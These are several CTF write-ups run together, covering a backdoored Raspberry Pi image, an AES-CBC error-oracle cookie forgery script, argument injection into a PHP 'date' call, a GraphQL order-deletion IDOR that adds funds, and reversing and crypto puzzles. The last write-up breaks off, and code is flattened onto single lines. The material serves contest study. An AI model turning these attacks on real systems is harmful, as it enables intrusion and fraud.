An aditional note: Since we know the format of a png file, the first 8 bytes (file signature) should be 89 50 4E 47 0D 0A 1A 0A.
Testing the theory that the file is xored with a single number, if we xor that number with the first 8 bytes of the encryptedmessage, it should result in the file signature of a PNG.
```pywith open("secret_encrypted.png") as f: data = f.read()
#find number file is xored withgoodSignature = '89504e470d0a1a0a' #Signature of pngfor num in range(0,256): signature = ''.join(chr(ord(d)^num) for d in data[0:8]) if(signature.encode('hex') == goodSignature): print("number: " + str(num)) break```Running the code tells us the file is xored with 255.
Now all we have to do is xor the file with 255 to get our decrypted png:```py#xor file with found numberdecrypted = ''.join(chr( ord(d)^num ) for d in data)
with open('out.png','w') as of: of.write( decrypted )```And thats it! |
### Chalenge PromptWe are doing an project for a school competition in which we need to use a Raspberry Pi to make an IOT prototype. We received SD cards from the professor, and because we lost ours we asked another group to give us a copy of their card, I know it’s been modified because the original hash doesn’t match. Could you please investigate and tell me if everything is ok? Here is some parts of the file system:
FLAG FORMAT: KLCTF{flag}### SolutionWe are given a compressed raspberry pi file system.
Notice the suspicous file "back".```backdoor_pi/bin]$ lsback chvt fgconsole lesspipe nc rnano umountbash con2fbmap fgrep ln nc.openbsd run-parts unamebunzip2 cp findmnt loadkeys nc.traditional sed uncompress```
Running strings on the binary shows us we found the correct file.```backdoor_pi/bin]$ strings backFlask(request(abortc{}:{}t@34c05015de48ef10309963543b4a347b5d3d20bbe2ed462cf226b1cc8fff222es<Congr4ts, you found the b@ckd00r. The fl4g is simply : {}:{}i```
The binary is a compiled python 2.7 program.```backdoor_pi/bin]$ file backback: python 2.7 byte-compiled```
We use uncompyle2 to decompile the binary.```backdoor_pi/bin]$ uncompyle2 back # 2017.10.12 09:27:33 CDT# Embedded file name: back.pyimport sysimport osimport timefrom flask import Flaskfrom flask import requestfrom flask import abortimport hashlib
def check_creds(user, pincode): if len(pincode) <= 8 and pincode.isdigit(): val = '{}:{}'.format(user, pincode) key = hashlib.sha256(val).hexdigest() if key == '34c05015de48ef10309963543b4a347b5d3d20bbe2ed462cf226b1cc8fff222e': return 'Congr4ts, you found the b@ckd00r. The fl4g is simply : {}:{}'.format(user, pincode) return abort(404)
app = Flask(__name__)
@app.route('/')def hello(): return '<h1>HOME</h1>'
@app.route('/backdoor')def backdoor(): user = request.args.get('user') pincode = request.args.get('pincode') return check_creds(user, pincode)
if __name__ == '__main__': app.run(threaded=True, host='0.0.0.0', port=3333)# okay decompyling back # decompiled 1 files: 1 okay, 0 failed, 0 verify failed# 2017.10.12 09:27:33 CDT
```
Lets take the check creds function and make it executable on our system.I converted val to utf-8 before hashing so it will run with python3. Since python3 has a big performance boost with iterators, this will bebeneficial in later steps.```pyimport sysimport osimport timeimport hashlib
def check_creds(user, pincode): if len(pincode) <= 8 and pincode.isdigit(): val = '{}:{}'.format(user, pincode) key = hashlib.sha256(val.encode('utf-8').hexdigest() if key == '34c05015de48ef10309963543b4a347b5d3d20bbe2ed462cf226b1cc8fff222e': return 'Congr4ts, you found the b@ckd00r. The fl4g is simply : {}:{}'.format(user, pincode) return 'false'
```The flag is the user and pincode that match the hash. The easiest way to find the user is cat /var/passwd.```$ cat backdoor_pi/etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shpi:x:1000:1000:,,,:/home/pi:/bin/bashsshd:x:101:65534::/var/run/sshd:/usr/sbin/nologinntp:x:102:104::/home/ntp:/bin/falsestatd:x:103:65534::/var/lib/nfs:/bin/falsemessagebus:x:104:106::/var/run/dbus:/bin/falseusbmux:x:105:46:usbmux daemon,,,:/home/usbmux:/bin/falselightdm:x:106:109:Light Display Manager:/var/lib/lightdm:/bin/falseavahi:x:107:110:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/falseb4ckd00r_us3r:x:1001:1004::/home/b4ckd00r_us3r:/bin/bash```
The most likley user is b4ckd00r so lets try that. We know from check_creds the pin is <= 8 char long so lets just brute force it.
```pyuser = 'b4ckd00r_us3r'c = 0for pincode in range(99999999): if((pincode%1000000) == 0): c += 1 print(str(c) + '% done') if(check_creds(user, str(pincode)) != 'false'): print( check_creds(user, str(pincode)) ) quit()print('nope...')```
output:```backdoor_pi]$ python3 crack.py 1% done2% done3% done4% done5% done6% done7% done8% done9% done10% done11% done12% done13% doneCongr4ts, you found the b@ckd00r. The fl4g is simply : b4ckd00r_us3r:12171337```
|
# Decrypt message (Crypto, 700p)
In the task we get access to a webpage where we can put username and it stores some encrypted string in our cookie.The value from cookie must store our username since it's later displayed on the webpage.
We start off by trying to play around with the encryption oracle and with the ciphertext we have.We can notice quickly that:
- It's a 16 byte block crypto - we can see alignment by 16 bytes- It is using some block chaining method, because many blocks of identical input are encrypted differently
Fortunately errors are printed to the screen so we can get some information about the code running there by changing the ciphertext we have.
- It's actually AES CBC with random IV stored as first block of the ciphertext- Data are stored as JSON and there is some more data behind our input- Data are being decoded into ascii before printing out on the screen, so if the data decrypt into some non-ascii values then we get encoding error
First we recover the whole data, using the encoding error messages.We can change k-th byte of the IV until the decryption fails with encoding error and it will tell us how the k-th data byte in first block was finally decrypted.Since we know how we changed the IV we can recover the initial plaintext value on the server.This was we know that the plaitext is `{"name": "our_input","show_flag": false}`.
It's clear now that we need to set the parameter `show_flag` to `true` to get the flag.
It's AES CBC so we can easily influence decryption of a single block by changing the IV, but here we need to work with 2 blocks, because the code checks for `name` parameter before it checks the `show_flag` parameter.So we need to have both and this means 2 blocks.
This is tricky, because to force decryption of second block we need to change the first block, and this will make this first block to decrypt into some garbage values.However, we can use the IV to "fix" the first block decryption afterwards.We can again use the fact that server tells us when it can't decode a certain value, so we know how certain byte was decrypted on the server, and we can change the IV byte accordingly.
Since we know exactly the plaintext and ciphertext, and we know what plaintext we want to get, we can right away use xor to get the first block ciphertext we need.Rest is just using the IV to force this first block to decrypt to expected value.
```pythonimport base64
import requestsfrom crypto_commons.generic import xor_string
def get_ciphertext(plaintext): url = "http://95.85.51.183/?name=" + plaintext result = requests.get(url) return result.cookies['user_info'].decode("base64").encode("hex")
def get_plaintext(ciphertext): url = "http://95.85.51.183/" payload = base64.b64encode(ciphertext.decode("hex")) result = requests.get(url, cookies={'user_info': payload}) return result.content
def main(): forged_ct = get_ciphertext("a" * 22).decode("hex") ct_block_1 = forged_ct[16:32] ct_block_2 = forged_ct[32:48] orig = """{"name": "aaaaaaaaaaaaaaaaaaaaaa""" want = """{"name": "aaaaa","show_flag":1}\1""" pt_block_2 = orig[16:32] expected_pt_block_1 = want[:16] expected_pt_block_2 = want[16:32] c1 = xor_string(xor_string(pt_block_2, expected_pt_block_2), ct_block_1) new_iv = "" for index in range(16): for i in range(256): print('testing value %d at index %d' % (i, index)) forged_ct = new_iv + chr(i) forged_ct += (16 - len(forged_ct)) * "a" forged_ct += c1 + ct_block_2 pt = get_plaintext(forged_ct.encode("hex")) if "t decode byte" in pt: decrypted_byte = pt.split("t decode byte")[1].split()[0].strip() position = pt.split("position")[1].split(":")[0] if int(position.strip()) != index: continue print index, new_iv.encode("hex"), pt decrypted_byte = int(decrypted_byte, 16) real = decrypted_byte ^ ord(expected_pt_block_1[index]) ^ i new_iv += chr(real) break print get_plaintext((new_iv + c1 + ct_block_2).encode("hex"))
main()```
And we get: `Flag: KLCTFFDA616A6DAF4E63A9F7B55B43124E548` |
After looking at the code from previous chal - Date 1, I recognized that there is another \$flag variable has not been leaked.
At this time, we can not leak it by some trick from "date" command anymore. There is only way to get it is make this condition to be true ```$date = "Sunday April 1st 2018. 2018-04-01";$res === $date && (strpos($fmt, 'easter') != false || preg_match('/[0-9]/', $fmt) == 0)```That mean the result parse from format pattern must be "Sunday April 1st 2018. 2018-04-01" and (the string "easter" in fmt or no number in \$fmt).
Date time format can be like this:
"%A %B %-dst %Y. %Y-%m-%d"
But we need change the date to 01/04/2018 with string "easter" in fmt variable or no number in fmt variable.
After 30 mins search for something with "easter" in argument "--date", i just found something from another command: "ncal", but we can not inject here.
Later, I give up with searching anything and focus on "date --help" command, at the end of it, I recognized that we can use --date="next Fri" to get the date of next Friday from now.
Hmm, and I try again with "yesterday yesterday" and got "two day from now"; "last month last month" I get "two month from now".
Now everything is solved!
Today is 09/10/2017 from my timezone (UTC+7), so 8 days ago is day 01, and 6 months ago is month 04, and next year is 2018
At last, the url become like this:
[http://159.203.38.169:5675/index.php?fmt="%A %B %-dst %Y. %Y-%m-%d" --date="yesterday yesterday yesterday yesterday yesterday yesterday yesterday yesterday last month last month last month last month last month last month next year"](http://)
Please note that i wrote this at my timezone, it will be different from any of you which have other timezone!
Just change something and magic will happen!
Here come the flag:
*FLAG{EASTER2018ISAFOOLSDAY}* |
# __Square CTF 2017__ ## _floppy_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 1000 | merrychap
**Description:**
> Our team of corn snakes formed an uneasy alliance with the office mice and slithered into the server room of Evil Robot Corp. They extracted an image of the VPN server before they had to retreat. Turns out sending a team of reptiles into a room whose main purpose is to keep its contents cold wasn’t the best idea.Can you figure out how this bootable [floppy](floppy.img) works and recover the secret data?
## SolutionFirst of all, we should understand what this thing is. Using ```file```, we see that this is ```DOS/MBR boot sector```.
```sh$ file floppy.img floppy.img: DOS/MBR boot sector```
What should we do with it? If you try to run it, you fail, because of ```format error```. Hence, we should find an emulator for this type of system. I'll use ```qemu```.
In the first place, we have to see the code of this MBR. Using IDA Pro we can see the next code (some functions are already renamed):
This function does the next:- 16 line: Prints "Challenge" with some random number- 19 line: Prints "Code?"- 21 — 35: Inputs a string with 4 bytes length.- 37 line: Translates the string into hex format (I'm not sure about this function, it isn't necessary for the solution)- 38 — 42: Generates 8 bytes and stores them in ```byte_1DB8```- 43 line: Compares processed ```hex``` and result of ```sub_BA0``` function - If they are equal, then prints the "flag" and then execute ```sub_510``` with ```byte_1DB8``` as the first argument. - Else prints "Nope".
There are two ways to solve this challenge:1. Understand how ```sub_BA0``` works and find appropriate input that will satisfy to the comparison2. Execute all instructions until comparison. After this, set ```eip``` to ```call sub_510```. Input in this case is useless because doesn't take part in calculating the flag. So it will give us the flag without any effort.
I chose the second variant because it's faster. This is where that comparison located in disassembly:
But to do this trick with ```eip``` we have to be in debugging mode. This is where problems come.
First of all, we should run qemu with the possibility of attaching the debugger (gdb, in our case) to the binary. After hours of reading different web pages about it, I found the brilliant [tutorial](https://rwmj.wordpress.com/2011/10/12/tip-debugging-the-early-boot-process-with-qemu-and-gdb/). As we can see, to run qemu in this mode we should do the next:```shqemu-system-x86_64 -s -S -m 512 -fda winxp.img```
And now we can see, that qemu is running:
Alright, we know from this article, that the address when MBR is loaded is ```0x7c00```. Let's attach to this process in the ```gdb``` and set breakpoint at this address.
Continue execution until the ```0x7c00``` address:
When everything is done, we have to find the address of the start function. This functions is shown below:
After some debugging steps, we find that the desired function is placed under ```0x1000``` address:
Okay, we are almost done! Now, we have to calculate the offset of that last comparison from ```0x200``` (it's the address of start function in disassembly). Offset is ```0x217```, so let's set breakpoint at the ```0x1217``` and continue execution. Program waits for an input. We input random 4 bytes.
When we are at that ```cmp``` instruction we have to just change ```eip``` register to ```0x121f``` and continue execution.
And this is what the binary gives us after comparison:
So, the flag is:
> flag-774016DB4709CB49 |
Simple walkthrough - extract the FS, identify /bin/back and reverse the pyc file, which needs a username and pincode. We can get the username from /etc/passwd, and we brute force the pin code for glorious victory. |
# __Square CTF 2017__ ## _The Turing Agent_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 500 | merrychap
**Description:**
>The hamsters have triumphed! We found an open [Github repository](https://github.com/Ahris/the_turing_agent)! It looks like some sort of game; perhaps they’re planning to trick our humans into playing it. We need to know if there’s any data hidden in the game that might harm our humans.Note: You'll need to prepend "flag-" to the flag.
## SolutionIt's the most interesting and the most difficult (for me) challenge in this CTF.We are given with several files:- Hints files: [bighint](bighint.txt) and [smallhint](smallhint.txt)- [Some readme](README.txt)- [Tools list](tools.txt)- And the [challenge](mission.gb) itself
Using ```file``` we see that this is Game Boy ROM image.
```sh$ file mission.gbmission.gb: Game Boy ROM image (Rev.01) [ROM ONLY], ROM: 256Kbit```
Also, we can read [tools.txt]((tools.txt)) and find several debuggers for Gameboy. I'll use [```bgb```](http://bgb.bircd.org/) debugger. (Although all these debuggers are buggy).
### Using BGBAfter several hours of setting up this debugger, finally, I came to this:
Yay! It's finally started correctly under debugging mode. So, there is one very important instruction that requires the breakpoint — ```halt``` at ```0x351E``` address. When the ```halt``` instruction is called, the Gameboy stops executing instructions until an interrupt occurs. For us it means that all changes on the screen produced after this instruction. So, it's the convenient place to set the breakpoint.
### The task itselfNow, we can continue executing until task itself is show:
So, after this text, the program waits for our 16 symbols input. We can input the next symbols:- up-arrow- left-arrow- down-arrow- right-arrow- box button- arrow button
These are all Gameboy's controllers. So, after entering a sequence of symbols, the binary have to compare them with the correct sequence. It's obvious. Of course, it's not, because the binary can comapre hashes of sequences, but after completing the challenge I can say, that only sequences are compared.
Anyway, let's input something:
Now, you should be very careful, because there is one important moment. Look closely at ```0xC0A0``` and ```0xC0C0``` addresses. At the ```0xC0A0``` address placed our inputted string where each byte is a symbol from the input, corresponding to the next table:
Symbol | Byte (in printable)--- | ---? | 0 (0x30)? | 1 (0x31)? | 2 (0x32)? | 3 (0x33)⌃ | 4 (0x34)? | 5 (0x35)
And now look at the ```0xC0C0``` address. Each byte then transformed into another, corresponding to the yet another table:
Symbol | Byte--- | ---? | 0x1? | 0x2? | 0x4? | 0x8⌃ | 0x10? | 0x20
I understand that it's hard to see in the first time, but if you try it several times, you'll definitely notice it.
### Time for reversingYou can ask me now "And what should we do after this?". It's time to see the disassembled binary. Of course, we can see it in ```bgb```, but it's very inconvenient for me. Because of that, I'll use IDA Pro.
When IDA runs, it asks about processor architecture. Choose ```Zilog 80 [z80]```:
After this, you'll be faced with ROM and RAM parameters. I didn't change anything because IDA handled herself with this work.
Let's examine the list of strings placed in this binary. We can find very interesting one:
Actually, this is where we want to get. Okay, let's see a little above and find any xrefs:
Oops, IDA can't disassemble these bytes. But don't be sad because of it. We still have the xref! This ```byte_2AA9``` is called from the next function:
Now, we want to set the breakpoint at the ```0x338C``` address and see if this address is reachable from the code without any modifications. Let's run it.
[_Omitted screen of the reached instruction. Sorry, I'm lazy. You will see it on the next screen, I promise!_]
And yes, it's reachable. We are stepping in this function and see disassembled instructions (those IDA couldn't disassembly)
After several instructions below, we can see interesting ```and (hl)``` at the ```0x2ADC``` address.
### Little information about ```and``` in z80```and val``` — this is template for ```and``` instruction. It ands ```A``` register with ```val``` and then puts obtained value in the ```A``` register.
Brackets in the z80 assembly is equal to brackets in x86 assembly — getting value under the address. So, our instruction takes value from ```hl``` address ands it with ```A``` register and put the value back into ```A``` register. Cool
Now let's set the breakpoint at this address and see what exactly this instruction ands.
So, ```A = 0x2``` and ```(hl) = 0x1```. Doesn't it look very similiar? Yes, ```(hl)``` includes our transformed bytes from the input. But it's too early to make conclusions. Let's continue execution until new ```and```
Yes, in the ```(hl)``` lays our transformed bytes one by one. One more loop:
Don't be confused because of unchangeable ```0x1``` in the ```(hl)```. Recall that we inputted the sequence ```?????????...```. See at the screen with this input above. So, transformed value of the ```?``` is exactly ```0x1```.
Okay, what do we have so far? This ```and``` ands bytes of transformed input and some bytes in ```A``` register. Bytes in ```A``` register correspond to the last table. It means, that our input checking **takes place exactly in this instruction!**
Next actions are obvious: Get all bytes from ```A``` register and input exactly this symbols. In the end, we will get the next:- In bytes: ```0x8 0x2 0x10 0x4 0x20 0x10 0x4 0x8 0x8 0x10 0x4 0x1 0x2 0x1 0x20 0x8```- In symbols: ```??⌃??⌃???⌃??????```
And when we enter the last symbol we will get the flag!
> flag-SUP3R-S3CUR3_1
|
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### Challange promptThe creators of a certain system have taken care of the security of storing users data and encrypted users passwords. To register a new user the administrator should enter encrypted password into the database. You were able to get a users passwords database and a script, that administrator used for passwords encryption. The answer for this task is the password the encrypted version of which: hnd/goJ/e4h1foWDhYOFiIZ+f3l1e4R5iI+Gin+FhA==### SolutionWe are given the encrypted string "hnd/goJ/e4h1foWDhYOFiIZ+f3l1e4R5iI+Gin+FhA==" and the algorithm used to create the string "crypt.py".
Looking at crypt.py we find it looks a lot like RSA (its not as we will find out).```py p = choice(dwfregrgre(100, 1000)) q = choice(dwfregrgre(200, 1000)) n = p*q```The function dwfregrgre creates an array of primes between 100 and 1000.So p and q are chosen to be two primes.Then n is calculated.
So far so RSA.
```py g = None for i in range(n + 1, n * n): if ((i % p) == 0) or ((i % q) == 0) or ((i % n) == 0): continue
g = i break```Then value g is chosen to be non divisable to p,q, and n.
```py lamb = (p - 1) * (q - 1) mu = swsdwdwdwa(L(pow(g, lamb, n * n), n), n) % n rc = sdsd(n-1)```Then we have lamb and some calculated value mu. It doesnt matter much to the algorithm what mu isso I wont discuss what the function swsdwdwdwa does.
```pyrc = sdsd(n - 1) if len(rc) == 0: print("Error! Candidates for r not found!") exit()
if p in rc: rc.remove(p) if q in rc: rc.remove(q)
r = choice(rc)```
Our first issue comes up with function sdsd(). The function takes much to long to compute sowe will look into optimizing it. Without getting into the details, sdsd returns an array of numbers whichis assigned to rc. Then r = choice(rc) so r is a random value from rc.That means any value of rc should work for a value of r so sdsn doesnt need to generate all those numbersfor the encryption to work.
Lets modify the range in sdsd to select values from range(edefefef-100, edefefef) to give us a performance boost.```pydef sdsd(edefefef): fvfegve = [x for x in range(edefefef-100, edefefef)]
x = 2 rrerrrr = True while rrerrrr: for i in range(x * x, edefefef, x): if i in fvfegve: fvfegve.remove(i)
rrerrrr = False for i in fvfegve: if i > x: x = i rrerrrr = True break
return fvfegve```
Now the algorithm runs in resonable time.
Lets look at the rest of the algorithm:```pywdwfewgwggrgrg = [ord(x) for x in argv[1][6:-1]] dcew = (pow(g, b, (n * n)) * pow(r, n, (n * n))) % (n * n)
for i in range(len(wdwfewgwggrgrg)): wdwfewgwggrgrg[i] = (((pow(g, wdwfewgwggrgrg[i], (n * n)) * pow(r, n, (n * n))) % (n * n)) * dcew) % (n * n) wdwfewgwggrgrg[i] = (L(pow(wdwfewgwggrgrg[i], lamb, (n * n)), n) * mu) % n
wdwfewgwggrgrg = b64encode(bytearray(wdwfewgwggrgrg)) print(str(wdwfewgwggrgrg)[2:-1])```
wdwfewgwggrgrg is the user input array. The message is encrypted in the for loop and then encoded into base64 before being printed out.
Lets print out the contents of the array before and after the for loop.```py print(wdwfewgwggrgrg) for i in range(len(wdwfewgwggrgrg)): wdwfewgwggrgrg[i] = (((pow(g, wdwfewgwggrgrg[i], (n * n)) * pow(r, n, (n * n))) % (n * n)) * dcew) % (n * n) wdwfewgwggrgrg[i] = (L(pow(wdwfewgwggrgrg[i], lamb, (n * n)), n) * mu) % n print(wdwfewgwggrgrg)```
Sample output```$ python3 crypt.py KLCTF{wow_a_message}Key cryptor v1.0Waiting for encryption...[119, 111, 119, 95, 97, 95, 109, 101, 115, 115, 97, 103, 101][141, 133, 141, 117, 119, 117, 131, 123, 137, 137, 119, 125, 123]jYWNdXd1g3uJiXd9ew==```
It turns out the end result of the encryption process is simply adding 22 to the input. ^_^
Decoding our message is easy```py msg = bytearray(b64decode("hnd/goJ/e4h1foWDhYOFiIZ+f3l1e4R5iI+Gin+FhA==")) for i in range(len(msg)): msg[i] = msg[i] - 22 print(msg.decode("utf-8"))```
output: paillier_homomorphic_encryption
|
## Dark Market
### Challenge```Dark market - Web (300 + 0)
You need to up your game before you go dumpster diving again, they'll trace you like THAT, man! Buy a subway defense system at defense.alieni.se:3002.
Service: http://defense.alieni.se:3002/```
### Topics and Tools- graphql- burp
### Short Solution (tldr;)- Create two accounts (account A and account B)- Buy an item on account B- Delete the order using the userID of account A and orderId from account B- Buy a flare gun with your extra money on account A
So right off the bat, we're given a Log In page and a Products page. After checking the Products page, I noticed that there's a Flare Gun with the description:> Our best defense system, recommended for usage in quick escapes. Perfect for dumpster diving.
Considering the challenge mentions dumpster diving, I assumed that I would need to buy a flare gun (which costs $110).
I registered for an account and was greeted with the following:
I had $100, but needed $110 which was unfortunate. So instead of a flare gun, I bought myself some pepper spray. This gave me an Order ID of `9fcdcedb-f15f-4759-b6d4-dfbe2419a0fc`.
Over on the OrderStatus page, there is a text field that takes in an Order ID and spits out the ordered item. Viewing the source on this page gives us some interesting information:
```function searchOrder(){ searchResult.innerText = "searched for "+search.value }
var orderSearch = ` query fetchOrder($searchTerm: String!) { findOrder(orderId: $searchTerm) { productId } }`
var productSearch = ` query fetchProduct($searchTerm: Int!) { findProduct(productId: $searchTerm) { name desc image price } }`
function searchOrder() { var searchTerm = search.value; var payload = { query: orderSearch, variables: JSON.stringify({ searchTerm: searchTerm, }) }
$.post("/graphql", payload, function(response) { if (response.errors || response.data.findOrder == null) { searchResult.innerText = "ERROR"; } else { searchTerm = response.data.findOrder.productId; payload = { query: productSearch, variables: JSON.stringify({ searchTerm: searchTerm, }) }; $.post("/graphql", payload, function(response){ if (response.errors){ searchResult.innerText = "ERROR"; }else{ product = response.data.findProduct; searchResult.innerHTML = ` <TABLE BORDER="1"> <TR> ...```
So it looked like a graphql interface was being hit for all database transactions. It was time to fire up burp and dig into this database.
First thing on the list was to get the entire database schema. This is easily done using the query found here: https://gist.github.com/craigbeck/b90915d49fda19d5b2b17ead14dcd6daAfter submitting this, I got the whole schema which can be found at: [graphql schema](database_schema.json)
Diving into this schema, I noticed that there are three ways we can interact with data: findOrder, findProduct, and deleteOrder. findOrder and findProduct are defined as query objects, and deleteOrder is defined as mutation.
findOrder``` "name": "findOrder", "description": null, "args": [ { "name": "orderId", "description": null, "type": { "kind": "SCALAR", "name": "String", "ofType": null }, "defaultValue": null } ```
findProduct ``` "name": "findProduct", "description": null, "args": [ { "name": "productId", "description": null, "type": { "kind": "SCALAR", "name": "Int", "ofType": null }, "defaultValue": null } ```
deleteOrder ``` "kind": "OBJECT", "name": "MyMutations", "description": null, "fields": [ { "name": "deleteOrder", "description": null, "args": [ { "name": "orderId", "description": null, "type": { "kind": "SCALAR", "name": "String", "ofType": null }, "defaultValue": null }, { "name": "userId", "description": null, "type": { "kind": "SCALAR", "name": "Int", "ofType": null }, "defaultValue": null } ], "type": { "kind": "OBJECT", "name": "deleteOrder", "ofType": null }, ```
A bit further down is the deleteOrder Object schema
``` "kind": "OBJECT", "name": "deleteOrder", "description": null, "fields": [ { "name": "success", "description": null, "args": [], "type": { "kind": "SCALAR", "name": "Boolean", "ofType": null }, "isDeprecated": false, "deprecationReason": null } ],```
Another key part of the database is at the top: ``` "mutationType": { "name": "MyMutations" }, ```
This is saying that it will take mutations under MyMutations, which deleteOrder is. It's also saying that the deleteOrder mutation will return a deleteOrder object which has a subfield of boolean "success".
For some more reading on mutations, I recommend: https://medium.com/@HurricaneJames/graphql-mutations-fb3ad5ae73c4
I had already seen findOrder and findProduct in the source of the Order Status page, so deleteOrder seemed to be the new piece. deleteOrder is a mutation that takes two arguments, an orderId and a userId and can be called with:
``` mutation{ deleteOrder(orderId: "some_order_id_string", userId : some_user_id_int) { success }} ```
At this point I was missing one key piece to be able to run this query: the userId.With a well formed query, it's possible to get the UserId from an OrderId
```query= { findOrder (orderId: "9fcdcedb-f15f-4759-b6d4-dfbe2419a0fc") { user { id name } }}```
Which returned
```{"data":{"findOrder":{"user":{"id":"VXNlcnM6MjE0Nw==","name":"reznokwriteup"}}}}```
The ID is base64 encoded, and that decoded to: `Users:2147`
I now had a userId and an orderId and it was time to delete some orders.
Got a success message and then confirmed that my order did indeed get deleted and my **money was refunded to my wallet.**
I was stuck here for a while until I had a crazy idea. What if the deleteOrder wasn't checking that the orderId and userId were actually tied to each other? This could potentially allow me to get more than $100.
This was easy enough to test, so I went for it. I made a new user account, bought myself some brass knuckles on it, and was given the orderId of: 337894b5-f8ff-4923-8b6a-b0fd9f77154d.I Plugged that orderId into the same deleteOrder query so that it was the orderId from the new account and the userId from the old account:
It appeared to have worked. Then on my original account, I checked my wallet:
It worked!
I went and bought myself a fancy new flare gun and was greeted with the flag.
|
# Needle in a haystack
## DescriptionWe infiltrated Evil Robot Corp’s network and were able to get this partial data dump of one of their production hosts before their Android Monitoring Systems kicked us out. Can you do anything with it? We know they aren't good at developer best practices when doing app development.
### Solution
Let's analyze what this file is:```~# file needle-in-the-haystackneedle-in-the-haystack: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, sectors 10240 (volumes <=32 MB) , Media descriptor 0xf8, sectors/FAT 8, sectors/track 63, heads 255, serial number 0x1e92c764, unlabeled, FAT (12 bi)```
So this is is recognized as a DOS/MBR boot file. let's see what we can extract from it with basic strings.
```~# strings needle-in-a-haystack
... grabage...
0000000000000000000000000000000000000000 9331ed8a2c47b3fd753d60d57b796ebacfb4d69a Sarah Harvey <[email protected]> 1502560071 -0700 commit (initial): Initial commit9331ed8a2c47b3fd753d60d57b796ebacfb4d69a 6a5f0a68319d5aa753f0655aeba70c7393fe7438 Sarah Harvey <[email protected]> 1502560367 -0700 commit: Add welcome controller6a5f0a68319d5aa753f0655aeba70c7393fe7438 5b4bafa1a476a7fa1cdc83a87e3a7b1019c75841 Sarah Harvey <[email protected]> 1502560407 -0700 commit: Change welcome index text5b4bafa1a476a7fa1cdc83a87e3a7b1019c75
... garbage ...
blog/.gitignoreblog/Gemfileblog/Gemfile.lockblog/README.rdocblog/Rakefileblog/app/assets/images/.keep
... garbage ...ref: refs/heads/masterAdd security# Please enter the commit message for your changes. Lines starting# with '#' will be ignored, and an empty message aborts the commit.# On branch security# Changes to be committed:# modified: app/controllers/articles_controller.rb# modified: app/controllers/comments_controller.rb# Untracked files:# config/database.yml# config/secrets.yml```
So it looks like we have some git commits, some Ruby web application code and interesting untracked files like database.yml and secrets.yml, maybe they contain something about the flag?
```~# fls /tmp/needle-in-the-haystackr/r * 4: deploy.tar.gzd/d 6: blogd/d * 8: .gitv/v 163523: $MBRv/v 163524: $FAT1v/v 163525: $FAT2d/d 163526: $OrphanFiles```
so we have a tarball called deploy at inode 4, the blog at inode 6 and a git repo at inode 8, let's extract the tarball with icat and decompress it.
```~# icat needle-in-the-haystack 4 > deploy.tar.gz~# tar xzvf deploy.tar.gz -C .
-r--r-- s/users 486 2017-08-12 13:46 blog/config/initializers/assets.rb-rw-r--r-- s/users 647 2017-08-12 13:46 blog/config/initializers/inflections.rb-rw-r--r-- s/users 136 2017-08-12 13:46 blog/config/initializers/session_store.rb-rw-r--r-- s/users 194 2017-08-12 13:46 blog/config/initializers/filter_parameter_logging.rb-rw-r--r-- s/users 500 2017-08-12 13:46 blog/config/initializers/to_time_preserves_timezone.rb-rw-r--r-- s/users 1111 2017-08-12 13:46 blog/config/application.rb-rw-r--r-- s/users 132 2017-08-12 13:46 blog/config/boot.rbdrwxr-xr-x s/users 0 2017-08-12 15:22 .git/-rw-r--r-- s/users 9977 2017-08-12 14:51 .git/index-rw-r--r-- s/users 23 2017-08-12 14:51 .git/HEAD-rw-r--r-- s/users 368 2017-08-12 14:50 .git/COMMIT_EDITMSGdrwxr-xr-x s/users 0 2017-08-12 15:22 .git/logs/-rw-r--r-- s/users 9631 2017-08-12 14:51 .git/logs/HEADdrwxr-xr-x s/users 0 2017-08-12 13:47 .git/logs/refs/drwxr-xr-x s/users 0 2017-08-12 14:49 .git/logs/refs/heads/-rw-r--r-- s/users 316 2017-08-12 14:47 .git/logs/refs/heads/refactoring-rw-r--r-- s/users 650 2017-08-12 14:44 .git/logs/refs/heads/comments-rw-r--r-- s/users 4169 2017-08-12 14:51 .git/logs/refs/heads/master-rw-r--r-- s/users 311 2017-08-12 14:50 .git/logs/refs/heads/security-rw-r--r-- s/users 480 2017-08-12 14:49 .git/logs/refs/heads/deleting
```
Interesting, so there are a few branches named master, security, deleting, refactoring and also application files.
I recursively grepped for the word flag-\* in the web application tree but found nothing.
Let's examine the git repo.
```root@toxicity:/tmp/tt# git branch comments deleting* master refactoring securityroot@toxicity:/tmp/tt# git logcommit 70659e69609dd836810eaa46bdd37725c01afc6dAuthor: Sarah Harvey <[email protected]>Date: Sat Aug 12 11:50:56 2017 -0700
Add security
commit 3302b4e931c3b83d407785c110e752d42d8d6943Author: Sarah Harvey <[email protected]>Date: Sat Aug 12 11:44:03 2017 -0700
Add comment showing
commit fe4d8eb7bce7b7594f58a6becf89a4c18476a8efAuthor: Sarah Harvey <[email protected]>Date: Sat Aug 12 11:29:54 2017 -0700
Add some article validation
commit d8478c26aa742bc1cd0311d9c720a83336ed2cc9Author: Sarah Harvey <[email protected]>Date: Sat Aug 12 11:27:59 2017 -0700
Add links
... more commits ...
```
the 'Add Security' commit is interesting, let's find out what was pushed
```~# git show 70659e69609dd836810eaa46bdd37725c01afc6dcommit 70659e69609dd836810eaa46bdd37725c01afc6dAuthor: Sarah Harvey <[email protected]>Date: Sat Aug 12 11:50:56 2017 -0700
Add security
